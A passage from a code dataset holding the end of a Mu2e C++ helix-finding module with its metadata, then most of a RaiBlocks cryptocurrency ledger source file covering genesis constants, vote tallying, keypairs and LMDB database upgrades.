< chi2dZphi_h2){\n\t  Index_best = 0;\n\t  return;\n\t}else {\n\t  Index_best = 1;\n\t  return;      \n\t}\n      }\n    }else {\n//-----------------------------------------------------------------------------\n// this is the case where we consider the two helices independent, so we want\n// to store both\n//-----------------------------------------------------------------------------\n      Index_best  = 2;\n      return;\n    }\n\n\n  }\n  \n\n}\n\nusing mu2e::CalHelixFinder;\nDEFINE_ART_MODULE(CalHelixFinder);\n", "meta": {"hexsha": "eb09c712c35f5a7cc25708642b1a0d80f7e4f6d7", "size": 27392, "ext": "cc", "lang": "C++", "max_stars_repo_path": "CalPatRec/src/CalHelixFinder_module.cc", "max_stars_repo_name": "sophiemiddleton/Offline", "max_stars_repo_head_hexsha": "d0c570158c88b7311e758666ab47fafc828f39b0", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "CalPatRec/src/CalHelixFinder_module.cc", "max_issues_repo_name": "sophiemiddleton/Offline", "max_issues_repo_head_hexsha": "d0c570158c88b7311e758666ab47fafc828f39b0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1.0, "max_issues_repo_issues_event_min_datetime": "2019-11-22T14:45:51.000Z", "max_issues_repo_issues_event_max_datetime": "2019-11-22T14:50:03.000Z", "max_forks_repo_path": "CalPatRec/src/CalHelixFinder_module.cc", "max_forks_repo_name": "sophiemiddleton/Offline", "max_forks_repo_head_hexsha": "d0c570158c88b7311e758666ab47fafc828f39b0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 2.0, "max_forks_repo_forks_event_min_datetime": "2019-10-14T17:46:58.000Z", "max_forks_repo_forks_event_max_datetime": "2020-03-30T21:05:15.000Z", "avg_line_length": 41.9479326187, "max_line_length": 143, "alphanum_fraction": 0.4869669977, "num_tokens": 6674, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5506073655352404, "lm_q2_score": 0.24798742624020276, "lm_q1q2_score": 0.13654370344798278}}
{"text": "#include <rai/secure.hpp>\n\n#include <rai/lib/interface.h>\n#include <rai/node/working.hpp>\n#include <rai/versioning.hpp>\n\n#include <boost/property_tree/json_parser.hpp>\n\n#include <queue>\n\n#include <ed25519-donna/ed25519.h>\n\nthread_local CryptoPP::AutoSeededRandomPool rai::random_pool;\n\n// Genesis keys for network variants\nnamespace\n{\nchar const * test_private_key_data = \"34F0A37AAD20F4A260F0A5B3CB3D7FB50673212263E58A380BC10474BB039CE4\";\nchar const * test_public_key_data = \"B0311EA55708D6A53C75CDBF88300259C6D018522FE3D4D0A242E431F9E8B6D0\"; // xrb_3e3j5tkog48pnny9dmfzj1r16pg8t1e76dz5tmac6iq689wyjfpiij4txtdo\nchar const * beta_public_key_data = \"9D3A5B66B478670455B241D6BAC3D3FE1CBB7E7B7EAA429FA036C2704C3DC0A4\"; // xrb_39btdfmday591jcu6igpqd3x9ziwqfz9pzocacht1fp4g385ui76a87x6phk\nchar const * live_public_key_data = \"E89208DD038FBB269987689621D52292AE9C35941A7484756ECCED92A65093BA\"; // xrb_3t6k35gi95xu6tergt6p69ck76ogmitsa8mnijtpxm9fkcm736xtoncuohr3\nchar const * test_genesis_data = R\"%%%({\n    \"type\": \"open\",\n    \"source\": \"B0311EA55708D6A53C75CDBF88300259C6D018522FE3D4D0A242E431F9E8B6D0\",\n    \"representative\": \"xrb_3e3j5tkog48pnny9dmfzj1r16pg8t1e76dz5tmac6iq689wyjfpiij4txtdo\",\n    \"account\": \"xrb_3e3j5tkog48pnny9dmfzj1r16pg8t1e76dz5tmac6iq689wyjfpiij4txtdo\",\n    \"work\": \"9680625b39d3363d\",\n    \"signature\": \"ECDA914373A2F0CA1296475BAEE40500A7F0A7AD72A5A80C81D7FAB7F6C802B2CC7DB50F5DD0FB25B2EF11761FA7344A158DD5A700B21BD47DE5BD0F63153A02\"\n})%%%\";\n\nchar const * beta_genesis_data = R\"%%%({\n    \"type\": \"open\",\n    \"source\": \"9D3A5B66B478670455B241D6BAC3D3FE1CBB7E7B7EAA429FA036C2704C3DC0A4\",\n    \"representative\": \"xrb_39btdfmday591jcu6igpqd3x9ziwqfz9pzocacht1fp4g385ui76a87x6phk\",\n    \"account\": \"xrb_39btdfmday591jcu6igpqd3x9ziwqfz9pzocacht1fp4g385ui76a87x6phk\",\n    \"work\": \"6eb12d4c42dba31e\",\n    \"signature\": \"BD0D374FCEB33EAABDF728E9B4DCDBF3B226DA97EEAB8EA5B7EDE286B1282C24D6EB544644FE871235E4F58CD94DF66D9C555309895F67A7D1F922AAC12CE907\"\n})%%%\";\n\nchar const * live_genesis_data = R\"%%%({\n    \"type\": \"open\",\n    \"source\": \"E89208DD038FBB269987689621D52292AE9C35941A7484756ECCED92A65093BA\",\n    \"representative\": \"xrb_3t6k35gi95xu6tergt6p69ck76ogmitsa8mnijtpxm9fkcm736xtoncuohr3\",\n    \"account\": \"xrb_3t6k35gi95xu6tergt6p69ck76ogmitsa8mnijtpxm9fkcm736xtoncuohr3\",\n    \"work\": \"62f05417dd3fb691\",\n    \"signature\": \"9F0C933C8ADE004D808EA1985FA746A7E95BA2A38F867640F53EC8F180BDFE9E2C1268DEAD7C2664F356E37ABA362BC58E46DBA03E523A7B5A19E4B6EB12BB02\"\n})%%%\";\n\nclass ledger_constants\n{\npublic:\nledger_constants () :\nzero_key (\"0\"),\ntest_genesis_key (test_private_key_data),\nrai_test_account (test_public_key_data),\nrai_beta_account (beta_public_key_data),\nrai_live_account (live_public_key_data),\nrai_test_genesis (test_genesis_data),\nrai_beta_genesis (beta_genesis_data),\nrai_live_genesis (live_genesis_data),\ngenesis_account (rai::rai_network == rai::rai_networks::rai_test_network ? rai_test_account : rai::rai_network == rai::rai_networks::rai_beta_network ? rai_beta_account : rai_live_account),\ngenesis_block (rai::rai_network == rai::rai_networks::rai_test_network ? rai_test_genesis : rai::rai_network == rai::rai_networks::rai_beta_network ? rai_beta_genesis : rai_live_genesis),\ngenesis_amount (std::numeric_limits <rai::uint128_t>::max ()),\nburn_account (0)\n{\n\tCryptoPP::AutoSeededRandomPool random_pool;\n\t// Randomly generating these mean no two nodes will ever have the same sentinal values which protects against some insecure algorithms\n\trandom_pool.GenerateBlock (not_a_block.bytes.data (), not_a_block.bytes.size ());\n\trandom_pool.GenerateBlock (not_an_account.bytes.data (), not_an_account.bytes.size ());\n}\nrai::keypair zero_key;\nrai::keypair test_genesis_key;\nrai::account rai_test_account;\nrai::account rai_beta_account;\nrai::account rai_live_account;\nstd::string rai_test_genesis;\nstd::string rai_beta_genesis;\nstd::string rai_live_genesis;\nrai::account genesis_account;\nstd::string genesis_block;\nrai::uint128_t genesis_amount;\nrai::block_hash not_a_block;\nrai::account not_an_account;\nrai::account burn_account;\n};\nledger_constants globals;\n}\n\nsize_t constexpr rai::send_block::size;\nsize_t constexpr rai::receive_block::size;\nsize_t constexpr rai::open_block::size;\nsize_t constexpr rai::change_block::size;\n\nrai::keypair const & rai::zero_key (globals.zero_key);\nrai::keypair const & rai::test_genesis_key (globals.test_genesis_key);\nrai::account const & rai::rai_test_account (globals.rai_test_account);\nrai::account const & rai::rai_beta_account (globals.rai_beta_account);\nrai::account const & rai::rai_live_account (globals.rai_live_account);\nstd::string const & rai::rai_test_genesis (globals.rai_test_genesis);\nstd::string const & rai::rai_beta_genesis (globals.rai_beta_genesis);\nstd::string const & rai::rai_live_genesis (globals.rai_live_genesis);\n\nrai::account const & rai::genesis_account (globals.genesis_account);\nstd::string const & rai::genesis_block (globals.genesis_block);\nrai::uint128_t const & rai::genesis_amount (globals.genesis_amount);\nrai::block_hash const & rai::not_a_block (globals.not_a_block);\nrai::block_hash const & rai::not_an_account (globals.not_an_account);\nrai::account const & rai::burn_account (globals.burn_account);\n\nboost::filesystem::path rai::working_path ()\n{\n\tauto result (rai::app_path ());\n\tswitch (rai::rai_network)\n\t{\n\t\tcase rai::rai_networks::rai_test_network:\n\t\t\tresult /= \"RaiBlocksTest\";\n\t\t\tbreak;\n\t\tcase rai::rai_networks::rai_beta_network:\n\t\t\tresult /= \"RaiBlocksBeta\";\n\t\t\tbreak;\n\t\tcase rai::rai_networks::rai_live_network:\n\t\t\tresult /= \"RaiBlocks\";\n\t\t\tbreak;\n\t}\n\treturn result;\n}\n\nsize_t rai::shared_ptr_block_hash::operator () (std::shared_ptr <rai::block> const & block_a) const\n{\n\tauto hash (block_a->hash ());\n\tauto result (static_cast <size_t> (hash.qwords [0]));\n\treturn result;\n}\n\nbool rai::shared_ptr_block_hash::operator () (std::shared_ptr <rai::block> const & lhs, std::shared_ptr <rai::block> const & rhs) const\n{\n\treturn *lhs == *rhs;\n}\n\n// Sum the weights for each vote and return the winning block with its vote tally\nstd::pair <rai::uint128_t, std::shared_ptr <rai::block>> rai::ledger::winner (MDB_txn * transaction_a, rai::votes const & votes_a)\n{\n\tauto tally_l (tally (transaction_a, votes_a));\n\tauto existing (tally_l.begin ());\n\treturn std::make_pair (existing->first, existing->second);\n}\n\nstd::map <rai::uint128_t, std::shared_ptr <rai::block>, std::greater <rai::uint128_t>> rai::ledger::tally (MDB_txn * transaction_a, rai::votes const & votes_a)\n{\n\tstd::unordered_map <std::shared_ptr <block>, rai::uint128_t, rai::shared_ptr_block_hash, rai::shared_ptr_block_hash> totals;\n\t// Construct a map of blocks -> vote total.\n\tfor (auto & i: votes_a.rep_votes)\n\t{\n\t\tauto existing (totals.find (i.second));\n\t\tif (existing == totals.end ())\n\t\t{\n\t\t\ttotals.insert (std::make_pair (i.second, 0));\n\t\t\texisting = totals.find (i.second);\n\t\t\tassert (existing != totals.end ());\n\t\t}\n\t\tauto weight_l (weight (transaction_a, i.first));\n\t\texisting->second += weight_l;\n\t}\n\t// Construction a map of vote total -> block in decreasing order.\n\tstd::map <rai::uint128_t, std::shared_ptr <rai::block>, std::greater <rai::uint128_t>> result;\n\tfor (auto & i: totals)\n\t{\n\t\tresult [i.second] = i.first;\n\t}\n\treturn result;\n}\n\nrai::votes::votes (std::shared_ptr <rai::block> block_a) :\nid (block_a->root ())\n{\n\trep_votes.insert (std::make_pair (rai::not_an_account, block_a));\n}\n\nrai::tally_result rai::votes::vote (std::shared_ptr <rai::vote> vote_a)\n{\n\trai::tally_result result;\n\tauto existing (rep_votes.find (vote_a->account));\n\tif (existing == rep_votes.end ())\n\t{\n\t\t// Vote on this block hasn't been seen from rep before\n\t\tresult = rai::tally_result::vote;\n\t\trep_votes.insert (std::make_pair (vote_a->account, vote_a->block));\n\t}\n\telse\n\t{\n\t\tif (!(*existing->second == *vote_a->block))\n\t\t{\n\t\t\t// Rep changed their vote\n\t\t\tresult = rai::tally_result::changed;\n\t\t\texisting->second = vote_a->block;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Rep vote remained the same\n\t\t\tresult = rai::tally_result::confirm;\n\t\t}\n\t}\n\treturn result;\n}\n\n// Create a new random keypair\nrai::keypair::keypair ()\n{\n    random_pool.GenerateBlock (prv.data.bytes.data (), prv.data.bytes.size ());\n\ted25519_publickey (prv.data.bytes.data (), pub.bytes.data ());\n}\n\n// Create a keypair given a hex string of the private key\nrai::keypair::keypair (std::string const & prv_a)\n{\n\tauto error (prv.data.decode_hex (prv_a));\n\tassert (!error);\n\ted25519_publickey (prv.data.bytes.data (), pub.bytes.data ());\n}\n\nrai::ledger::ledger (rai::block_store & store_a, rai::uint128_t const & inactive_supply_a) :\nstore (store_a),\ninactive_supply (inactive_supply_a)\n{\n}\n\n// Serialize a block prefixed with an 8-bit typecode\nvoid rai::serialize_block (rai::stream & stream_a, rai::block const & block_a)\n{\n    write (stream_a, block_a.type ());\n    block_a.serialize (stream_a);\n}\n\nstd::unique_ptr <rai::block> rai::deserialize_block (MDB_val const & val_a)\n{\n\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (val_a.mv_data), val_a.mv_size);\n\treturn deserialize_block (stream);\n}\n\nrai::account_info::account_info () :\nhead (0),\nrep_block (0),\nopen_block (0),\nbalance (0),\nmodified (0),\nblock_count (0)\n{\n}\n\nrai::account_info::account_info (MDB_val const & val_a)\n{\n\tassert (val_a.mv_size == sizeof (*this));\n\tstatic_assert (sizeof (head) + sizeof (rep_block) + sizeof (open_block) + sizeof (balance) + sizeof (modified) + sizeof (block_count) == sizeof (*this), \"Class not packed\");\n\tstd::copy (reinterpret_cast <uint8_t const *> (val_a.mv_data), reinterpret_cast <uint8_t const *> (val_a.mv_data) + sizeof (*this), reinterpret_cast <uint8_t *> (this));\n}\n\nrai::account_info::account_info (rai::block_hash const & head_a, rai::block_hash const & rep_block_a, rai::block_hash const & open_block_a, rai::amount const & balance_a, uint64_t modified_a, uint64_t block_count_a) :\nhead (head_a),\nrep_block (rep_block_a),\nopen_block (open_block_a),\nbalance (balance_a),\nmodified (modified_a),\nblock_count (block_count_a)\n{\n}\n\nvoid rai::account_info::serialize (rai::stream & stream_a) const\n{\n    write (stream_a, head.bytes);\n    write (stream_a, rep_block.bytes);\n\twrite (stream_a, open_block.bytes);\n    write (stream_a, balance.bytes);\n    write (stream_a, modified);\n    write (stream_a, block_count);\n}\n\nbool rai::account_info::deserialize (rai::stream & stream_a)\n{\n    auto result (read (stream_a, head.bytes));\n    if (!result)\n    {\n        result = read (stream_a, rep_block.bytes);\n        if (!result)\n        {\n\t\t\tresult = read (stream_a, open_block.bytes);\n\t\t\tif (!result)\n\t\t\t{\n\t\t\t\tresult = read (stream_a, balance.bytes);\n\t\t\t\tif (!result)\n\t\t\t\t{\n\t\t\t\t\tresult = read (stream_a, modified);\n\t\t\t\t\tif (!result)\n\t\t\t\t\t{\n\t\t\t\t\t\tresult = read (stream_a, block_count);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n        }\n    }\n    return result;\n}\n\nbool rai::account_info::operator == (rai::account_info const & other_a) const\n{\n    return head == other_a.head && rep_block == other_a.rep_block && open_block == other_a.open_block && balance == other_a.balance && modified == other_a.modified && block_count == other_a.block_count;\n}\n\nbool rai::account_info::operator != (rai::account_info const & other_a) const\n{\n    return ! (*this == other_a);\n}\n\nrai::mdb_val rai::account_info::val () const\n{\n\treturn rai::mdb_val (sizeof (*this), const_cast <rai::account_info *> (this));\n}\n\nrai::store_entry::store_entry () :\nfirst (0, nullptr),\nsecond (0, nullptr)\n{\n}\n\nvoid rai::store_entry::clear ()\n{\n\tfirst = {0, nullptr};\n\tsecond = {0, nullptr};\n}\n\nrai::store_entry * rai::store_entry::operator -> ()\n{\n    return this;\n}\n\nrai::store_entry & rai::store_iterator::operator -> ()\n{\n    return current;\n}\n\nrai::store_iterator::store_iterator (MDB_txn * transaction_a, MDB_dbi db_a) :\ncursor (nullptr)\n{\n\tauto status (mdb_cursor_open (transaction_a, db_a, &cursor));\n\tassert (status == 0);\n\tauto status2 (mdb_cursor_get (cursor, &current.first.value, &current.second.value, MDB_FIRST));\n\tassert (status2 == 0 || status2 == MDB_NOTFOUND);\n\tif (status2 != MDB_NOTFOUND)\n\t{\n\t\tauto status3 (mdb_cursor_get (cursor, &current.first.value, &current.second.value, MDB_GET_CURRENT));\n\t\tassert (status3 == 0 || status3 == MDB_NOTFOUND);\n\t}\n\telse\n\t{\n\t\tcurrent.clear ();\n\t}\n}\n\nrai::store_iterator::store_iterator (std::nullptr_t) :\ncursor (nullptr)\n{\n}\n\nrai::store_iterator::store_iterator (MDB_txn * transaction_a, MDB_dbi db_a, MDB_val const & val_a) :\ncursor (nullptr)\n{\n\tauto status (mdb_cursor_open (transaction_a, db_a, &cursor));\n\tassert (status == 0);\n\tcurrent.first.value = val_a;\n\tauto status2 (mdb_cursor_get (cursor, &current.first.value, &current.second.value, MDB_SET_RANGE));\n\tassert (status2 == 0 || status2 == MDB_NOTFOUND);\n\tif (status2 != MDB_NOTFOUND)\n\t{\n\t\tauto status3 (mdb_cursor_get (cursor, &current.first.value, &current.second.value, MDB_GET_CURRENT));\n\t\tassert (status3 == 0 || status3 == MDB_NOTFOUND);\n\t}\n\telse\n\t{\n\t\tcurrent.clear ();\n\t}\n}\n\nrai::store_iterator::store_iterator (rai::store_iterator && other_a)\n{\n\tcursor = other_a.cursor;\n\tother_a.cursor = nullptr;\n\tcurrent = other_a.current;\n}\n\nrai::store_iterator::~store_iterator ()\n{\n\tif (cursor != nullptr)\n\t{\n\t\tmdb_cursor_close (cursor);\n\t}\n}\n\nrai::store_iterator & rai::store_iterator::operator ++ ()\n{\n\tassert (cursor != nullptr);\n\tauto status (mdb_cursor_get (cursor, &current.first.value, &current.second.value, MDB_NEXT));\n\tif (status == MDB_NOTFOUND)\n\t{\n\t\tcurrent.clear ();\n\t}\n    return *this;\n}\n\nvoid rai::store_iterator::next_dup ()\n{\n\tassert (cursor != nullptr);\n\tauto status (mdb_cursor_get (cursor, &current.first.value, &current.second.value, MDB_NEXT_DUP));\n\tif (status == MDB_NOTFOUND)\n\t{\n\t\tcurrent.clear ();\n\t}\n}\n\nrai::store_iterator & rai::store_iterator::operator = (rai::store_iterator && other_a)\n{\n\tif (cursor != nullptr)\n\t{\n\t\tmdb_cursor_close (cursor);\n\t}\n\tcursor = other_a.cursor;\n\tother_a.cursor = nullptr;\n\tcurrent = other_a.current;\n\tother_a.current.clear ();\n\treturn *this;\n}\n\nbool rai::store_iterator::operator == (rai::store_iterator const & other_a) const\n{\n\tauto result (current.first.data () == other_a.current.first.data ());\n\tassert (!result || (current.first.size () == other_a.current.first.size ()));\n\tassert (!result || (current.second.data () == other_a.current.second.data ()));\n\tassert (!result || (current.second.size () == other_a.current.second.size ()));\n\treturn result;\n}\n\nbool rai::store_iterator::operator != (rai::store_iterator const & other_a) const\n{\n    return !(*this == other_a);\n}\n\nrai::block_counts::block_counts () :\nsend (0),\nreceive (0),\nopen (0),\nchange (0)\n{\n}\n\nsize_t rai::block_counts::sum ()\n{\n\treturn send + receive + open + change;\n}\n\nrai::block_store::block_store (bool & error_a, boost::filesystem::path const & path_a) :\nenvironment (error_a, path_a),\nfrontiers (0),\naccounts (0),\nsend_blocks (0),\nreceive_blocks (0),\nopen_blocks (0),\nchange_blocks (0),\npending (0),\nblocks_info (0),\nrepresentation (0),\nunchecked (0),\nunsynced (0),\nchecksum (0)\n{\n\tif (!error_a)\n\t{\n\t\trai::transaction transaction (environment, nullptr, true);\n\t\terror_a |= mdb_dbi_open (transaction, \"frontiers\", MDB_CREATE, &frontiers) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"accounts\", MDB_CREATE, &accounts) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"send\", MDB_CREATE, &send_blocks) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"receive\", MDB_CREATE, &receive_blocks) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"open\", MDB_CREATE, &open_blocks) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"change\", MDB_CREATE, &change_blocks) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"pending\", MDB_CREATE, &pending) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"blocks_info\", MDB_CREATE, &blocks_info) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"representation\", MDB_CREATE, &representation) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"unchecked\", MDB_CREATE | MDB_DUPSORT, &unchecked) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"unsynced\", MDB_CREATE, &unsynced) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"checksum\", MDB_CREATE, &checksum) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"vote\", MDB_CREATE, &vote) != 0;\n\t\terror_a |= mdb_dbi_open (transaction, \"meta\", MDB_CREATE, &meta) != 0;\n\t\tif (!error_a)\n\t\t{\n\t\t\tdo_upgrades (transaction);\n\t\t\tchecksum_put (transaction, 0, 0, 0);\n\t\t}\n\t}\n}\n\nvoid rai::block_store::version_put (MDB_txn * transaction_a, int version_a)\n{\n\trai::uint256_union version_key (1);\n\trai::uint256_union version_value (version_a);\n\tauto status (mdb_put (transaction_a, meta, rai::mdb_val (version_key), rai::mdb_val (version_value), 0));\n\tassert (status == 0);\n}\n\nint rai::block_store::version_get (MDB_txn * transaction_a)\n{\n\trai::uint256_union version_key (1);\n\trai::mdb_val data;\n\tauto error (mdb_get (transaction_a, meta, rai::mdb_val (version_key), data));\n\tint result;\n\tif (error == MDB_NOTFOUND)\n\t{\n\t\tresult = 1;\n\t}\n\telse\n\t{\n\t\trai::uint256_union version_value (data.uint256 ());\n\t\tassert (version_value.qwords [2] == 0 && version_value.qwords [1] == 0 && version_value.qwords [0] == 0);\n\t\tresult = version_value.number ().convert_to <int> ();\n\t}\n\treturn result;\n}\n\nvoid rai::block_store::do_upgrades (MDB_txn * transaction_a)\n{\n\tswitch (version_get (transaction_a))\n\t{\n\t\tcase 1:\n\t\t\tupgrade_v1_to_v2 (transaction_a);\n\t\tcase 2:\n\t\t\tupgrade_v2_to_v3 (transaction_a);\n\t\tcase 3:\n\t\t\tupgrade_v3_to_v4 (transaction_a);\n\t\tcase 4:\n\t\t\tupgrade_v4_to_v5 (transaction_a);\n\t\tcase 5:\n\t\t\tupgrade_v5_to_v6 (transaction_a);\n\t\tcase 6:\n\t\t\tupgrade_v6_to_v7 (transaction_a);\n\t\tcase 7:\n\t\t\tupgrade_v7_to_v8 (transaction_a);\n\t\tcase 8:\n\t\t\tupgrade_v8_to_v9 (transaction_a);\n\t\tcase 9:\n\t\t\tupgrade_v9_to_v10 (transaction_a);\n\t\tcase 10:\n\t\t\tbreak;\n\t\tdefault:\n\t\tassert (false);\n\t}\n}\n\nvoid rai::block_store::upgrade_v1_to_v2 (MDB_txn * transaction_a)\n{\n\tversion_put (transaction_a, 2);\n\trai::account account (1);\n\twhile (!account.is_zero ())\n\t{\n\t\trai::store_iterator i (transaction_a, accounts, rai::mdb_val (account));\n\t\tstd::cerr << std::hex;\n\t\tif (i != rai::store_iterator (nullptr))\n\t\t{\n\t\t\taccount = i->first.uint256 ();\n\t\t\trai::account_info_v1 v1 (i->second);\n\t\t\trai::account_info_v5 v2;\n\t\t\tv2.balance = v1.balance;\n\t\t\tv2.head = v1.head;\n\t\t\tv2.modified = v1.modified;\n\t\t\tv2.rep_block = v1.rep_block;\n\t\t\tauto block (block_get (transaction_a, v1.head));\n\t\t\twhile (!block->previous ().is_zero ())\n\t\t\t{\n\t\t\t\tblock = block_get (transaction_a, block->previous ());\n\t\t\t}\n\t\t\tv2.open_block = block->hash ();\n\t\t\tauto status (mdb_put (transaction_a, accounts, rai::mdb_val (account), v2.val (), 0));\n\t\t\tassert (status == 0);\n\t\t\taccount = account.number () + 1;\n\t\t}\n\t\telse\n\t\t{\n\t\t\taccount.clear ();\n\t\t}\n\t}\n}\n\n// Determine the representative for this block\nclass representative_visitor : public rai::block_visitor\n{\npublic:\n    representative_visitor (MDB_txn * transaction_a, rai::block_store & store_a) :\n\ttransaction (transaction_a),\n    store (store_a),\n\tresult (0)\n    {\n    }\n    void compute (rai::block_hash const & hash_a)\n    {\n\t\tcurrent = hash_a;\n\t\twhile (result.is_zero ())\n\t\t{\n\t\t\tauto block (store.block_get (transaction, current));\n\t\t\tassert (block != nullptr);\n\t\t\tblock->visit (*this);\n\t\t}\n    }\n    void send_block (rai::send_block const & block_a) override\n    {\n        current = block_a.previous ();\n    }\n    void receive_block (rai::receive_block const & block_a) override\n    {\n\t\tcurrent = block_a.previous ();\n    }\n    void open_block (rai::open_block const & block_a) override\n    {\n        result = block_a.hash ();\n    }\n    void change_block (rai::change_block const & block_a) override\n    {\n        result = block_a.hash ();\n    }\n\tMDB_txn * transaction;\n    rai::block_store & store;\n\trai::block_hash current;\n    rai::block_hash result;\n};\n\nvoid rai::block_store::upgrade_v2_to_v3 (MDB_txn * transaction_a)\n{\n\tversion_put (transaction_a, 3);\n\tmdb_drop (transaction_a, representation, 0);\n\tfor (auto i (latest_begin (transaction_a)), n (latest_end ()); i != n; ++i)\n\t{\n\t\trai::account account_l (i->first.uint256 ());\n\t\trai::account_info_v5 info (i->second);\n\t\trepresentative_visitor visitor (transaction_a, *this);\n\t\tvisitor.compute (info.head);\n\t\tassert (!visitor.result.is_zero ());\n\t\tinfo.rep_block = visitor.result;\n\t\tmdb_cursor_put (i.cursor, rai::mdb_val (account_l), info.val (), MDB_CURRENT);\n\t\trepresentation_add (transaction_a, visitor.result, info.balance.number());\n\t}\n}\n\nvoid rai::block_store::upgrade_v3_to_v4 (MDB_txn * transaction_a)\n{\n\tversion_put (transaction_a, 4);\n\tstd::queue <std::pair <rai::pending_key, rai::pending_info>> items;\n\tfor (auto i (pending_begin (transaction_a)), n (pending_end ()); i != n; ++i)\n\t{\n\t\trai::block_hash hash (i->first.uint256 ());\n\t\trai::pending_info_v3 info (i->second);\n\t\titems.push (std::make_pair (rai::pending_key (info.destination, hash), rai::pending_info (info.source, info.amount)));\n\t}\n\tmdb_drop (transaction_a, pending, 0);\n\twhile (!items.empty ())\n\t{\n\t\tpending_put (transaction_a, items.front ().first, items.front ().second);\n\t\titems.pop ();\n\t}\n}\n\nvoid rai::block_store::upgrade_v4_to_v5 (MDB_txn * transaction_a)\n{\n\tunsigned fixes (0);\n\tversion_put (transaction_a, 5);\n\tfor (auto i (latest_begin (transaction_a)), n (latest_end ()); i != n; ++i)\n\t{\n\t\trai::account account (i->first.uint256 ());\n\t\trai::account_info_v5 info (i->second);\n\t\trai::block_hash successor (0);\n\t\tauto block (block_get (transaction_a, info.head));\n\t\twhile (block != nullptr)\n\t\t{\n\t\t\tauto hash (block->hash ());\n\t\t\tif (block_successor (transaction_a, hash).is_zero () && !successor.is_zero ())\n\t\t\t{\n\t\t\t\t//std::cerr << boost::str (boost::format (\"Adding successor for account %1%, block %2%, successor %3%\\n\") % account.to_account () % hash.to_string () % successor.to_string ());\n\t\t\t\t++fixes;\n\t\t\t\tblock_put (transaction_a, hash, *block, successor);\n\t\t\t}\n\t\t\tsuccessor = hash;\n\t\t\tblock = block_get (transaction_a, block->previous ());\n\t\t}\n\t}\n\t//std::cerr << boost::str (boost::format (\"Fixed up %1% blocks\\n\") % fixes);\n}\n\nvoid rai::block_store::upgrade_v5_to_v6 (MDB_txn * transaction_a)\n{\n\tversion_put (transaction_a, 6);\n\tstd::deque <std::pair <rai::account, rai::account_info>> headers;\n\tfor (auto i (latest_begin (transaction_a)), n (latest_end ()); i != n; ++i)\n\t{\n\t\trai::account account (i->first.uint256 ());\n\t\trai::account_info_v5 info_old (i->second);\n\t\tuint64_t block_count (0);\n\t\tauto hash (info_old.head);\n\t\twhile (!hash.is_zero ())\n\t\t{\n\t\t\t++block_count;\n\t\t\tauto block (block_get (transaction_a, hash));\n\t\t\tassert (block != nullptr);\n\t\t\thash = block->previous ();\n\t\t}\n\t\trai::account_info info (info_old.head, info_old.rep_block, info_old.open_block, info_old.balance, info_old.modified, block_count);\n\t\theaders.push_back (std::make_pair (account, info));\n\t}\n\tfor (auto i (headers.begin ()), n (headers.end ()); i != n; ++i)\n\t{\n\t\taccount_put (transaction_a, i->first, i->second);\n\t}\n}\n\nvoid rai::block_store::upgrade_v6_to_v7 (MDB_txn * transaction_a)\n{\n\tversion_put (transaction_a, 7);\n\tmdb_drop (transaction_a, unchecked, 0);\n}\n\nvoid rai::block_store::upgrade_v7_to_v8 (MDB_txn * transaction_a)\n{\n\tversion_put (transaction_a, 8);\n\tmdb_drop (transaction_a, unchecked, 1);\n\tmdb_dbi_open (transaction_a, \"unchecked\", MDB_CREATE | MDB_DUPSORT, &unchecked);\n}\n\nvoid rai::block_store::upgrade_v8_to_v9 (MDB_txn * transaction_a)\n{\n\tversion_put (transaction_a, 9);\n\tMDB_dbi sequence;\n\tmdb_dbi_open (transaction_a, \"sequence\", MDB_CREATE | MDB_DUPSORT, &sequence);\n\trai::genesis genesis;\n\tstd::shared_ptr <rai::block> block (std::move (genesis.open));\n\trai::keypair junk;\n\tfor (rai::store_iterator i (transaction_a, sequence), n (nullptr); i != n; ++i)\n\t{\n\t\trai::bufferstream stream (reinterpret_cast <uint8_t const *> (i->second.data ()), i->second.size ());\n\t\tuint64_t sequence;\n\t\tauto error (rai::read (stream, sequence));\n\t\t// Create a dummy vote with the same sequence number for easy upgrading.  This won't have a valid signature.\n\t\tauto dummy (std::make_shared <rai::vote> (rai::account (i->first.uint256 ()), junk.prv, sequence, block));\n\t\tstd::vector <uint8_t> vector;\n\t\t{\n\t\t\trai::vectorstream stream (vector);\n\t\t\tdummy->serialize (stream);\n\t\t}\n\t\tauto status1 (mdb_put (transaction_a, vote, i->first, rai::mdb_val (vector.size (), vector.data ()), 0));\n\t\tassert (status1 == 0);\n\t\tassert (!error);\n\t}\n\tmdb_drop (transaction_a, sequence, 1);\n}\n\nvoid rai::block_store::upgrade_v9_to_v10 (MDB_txn * transaction_a)\n{\n\t//std::cerr << boost::str (boost::format (\"Performing database upgrade to version 10...\\n\"));\n\tversion_put (transaction_a, 10);\n\tfor (auto i (latest_begin (transaction_a)), n (latest_end ()); i != n; ++i)\n\t{\n\t\trai::account_info info (i->second);\n\t\tif (info.block_count >= block_info_max)\n\t\t{\n\t\t\trai::account account (i->first.uint256 ());\n\t\t\t//std::cerr << boost::str (boost::format (\"Upgrading account %1%...\\n\") % account.to_account ());\n\t\t\tsize_t block_count (1);\n\t\t\tauto hash (info.open_block);\n\t\t\twhile (!hash.is_zero ())\n\t\t\t{\n\t\t\t\tif ((block_count % block_info_max) == 0)\n\t\t\t\t{\n\t\t\t\t\trai::block_info block_info;\n\t\t\t\t\tblock_info.account = account;\n\t\t\t\t\trai::amount balance (block_balance (transaction_a, 